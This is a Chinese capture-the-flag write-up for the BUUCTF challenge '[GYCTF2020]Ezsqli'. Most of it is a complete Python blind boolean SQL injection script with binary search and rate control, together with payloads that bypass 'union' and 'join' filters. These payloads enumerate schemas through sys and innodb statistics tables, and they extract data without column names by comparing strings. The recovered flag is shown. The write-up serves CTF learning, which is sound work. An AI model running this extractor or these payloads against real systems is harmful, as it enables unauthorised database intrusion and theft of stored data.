[CTF]WriteUp第26篇

[GYCTF2020]Ezsqli

思路

怎么又是尸体😡

下面有输入框,YAKIT抓包,多次尝试,发现是sql注入
常规注入会被拦住,经过测试得知过滤了这些:

for
.in
_in
union
join

解题

也好办,不用列名就行,先爆库
参考文献:[GYCTF2020]Ezsqli(无列名注入)-CSDN博客

附上我自己的bool注入源码
有二分加上响应时间控制

import requests
import string
import time

# TODO: 修改点1
url = 'http://f8bebef1-8b12-4f5a-b84b-d8bd88e2e1db.node5.buuoj.cn:81/index.php'
# TODO: 修改点2
param_name = 'id'
params = {param_name: None}
min_num = 0
max_num = 128
# TODO: 修改点3
success_flag = "Error Occured When Fetch Result."
fail_flag = "Nu1L"

def bool_success(url: string, params : dict, success_flag: string, fail_flag: string):
    # 初始化
    if not hasattr(bool_success, 'wait_time'):
        bool_success.wait_time = 0.02
    if not hasattr(bool_success, 'success_times'):
        bool_success.success_times = 0
    if not hasattr(bool_success, 'total_times'):
        bool_success.total_times = 0
        
    state_503 = True
    while state_503:
        time.sleep(bool_success.wait_time)
        if bool_success.total_times >= 10 and bool_success.success_times / bool_success.total_times >= 0.5:
            bool_success.wait_time += 0.01
            # print(f'bool_success.wait_time调整至{bool_success.wait_time}')
            bool_success.total_times = 0
            bool_success.success_times = 0
        bool_success.total_times += 1
        try:
            # TODO: 修改点:GET OR POST
            response = requests.post(url=url, data=params)
            # print(response.url)
        except Exception:
            continue
        # print(url+'id='+params[param_name])
        if requests.status_codes != 503:
            state_503 = False
            bool_success.success_times += 1
            # print(url, response.text)
            if success_flag in response.text:
                # print('success')
                return True
            elif fail_flag in response.text:
                # print('fail')
                # TODO: 修改点4
                # return False
                continue
            elif "Error" in response.text:
                # print('worry_data')
                continue
            else:
                # print('error')
                continue
    return False
            

res = ''
temp_flag = ''
None_num = 0
for i in range(1, 500):
    left = min_num - 1
    right = max_num + 1
    mid = (left + right) // 2
    while left + 1 != right:
        # TODO: 修改点
        column_name = 'users23330'
        table_name = 'users'
        # TODO: 修改点5
        
        # 数据库
        # 1. 常规
        # params[param_name] = f'1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{mid})'
        # 2. 当前库
        # params[param_name] = f'1^(ascii(substr((select(database())),{i},1))>{mid})'
        # 3. 换个信息表
        # params[param_name] = f'1^(ascii(substr((select(group_concat(table_schema))from(sys.schema_table_statistics_with_buffer)),{i},1))>{mid})'
        
        # 数据表
        # 1.
        # params[param_name] = f'1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid})'
        # 2.
        # params[param_name] = f'1^(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database()))'
        # 3.
        # params[param_name] = f'1^(ascii(substr((select(group_concat(table_name))from(sys.schema_table_statistics_with_buffer)where(table_schema=database())),{i},1))>{mid})'
        
        # 字段
        # params[param_name] = f'1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="{table_name}")),{i},1))>{mid})'
        
        # 内容
        # 1.
        # params[param_name] = f' or ascii(substr((select {column_name} from {table_name}),{i},1))>{mid}-- -'
        # 2. payload形式
        # payload = f' or ascii(substr((select {column_name} from {table_name}),{i},1))>{mid}-- -'
        # 3. 不用列名
        # params[param_name] = f'1^(ascii(substr((select(group_concat(a))from(select(1)a,(2)b,(3)c/**/union/**/select/**/*from/**/{column_name})x),{i},1))>{mid})'
        # 4. 不用列名,字典序比较
        params[param_name] = f'1^(select((select/**/1,"{temp_flag}{chr(mid+1)}")<(select/**/*/**/from(f1ag_1s_h3r3_hhhhh))))'
        # print(params[param_name])
        
        if bool_success(url,params, success_flag, fail_flag):
            left = mid
        else:
            right = mid
        mid = (left + right) // 2
    if right == max_num + 1 or left == min_num - 1:
        print('NoneChr!')
        None_num += 1
        if None_num >= 5:
            print('---finished---')
            break
        continue
    
    res += chr(right)
    print(res)
    temp_flag += chr(right)

我们先爆库

'1^(ascii(substr((select(group_concat(table_schema))from(sys.schema_table_statistics_with_buffer)),{i},1))>{mid})'
# 得到:
give_grandpa_pa_pa_pa,give_grandpa_pa_pa_pa

爆表

'1^(ascii(substr((select(group_concat(table_name))from(sys.schema_table_statistics_with_buffer)where(table_schema=database())),{i},1))>{mid})'
# 得到:
users233333333333333,f1ag_1s_h3r3_hhhhh

爆列元素

'1^(select((select/**/"{temp_flag}{mid}")<(select/**/*/**/from(f1ag_1s_h3r3_hhhhh))))'
# 发现回显错误,可以认为第一列不是字符串

'1^(select((select/**/1,"{temp_flag}{chr(mid+1)}")<(select/**/*/**/from(f1ag_1s_h3r3_hhhhh))))'
# 得到:
flag{8382f71c-511b-4e87-976e-4194e5cf42af|

|改成}即可
二分查找时要设定范围0~128,包括ASCII表
我中间有次设错了,得到了FLAG...可能sql比较不看大小写?

注意

  1. 不用union和join的无列名爆破,可以用字符串字典序比较
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇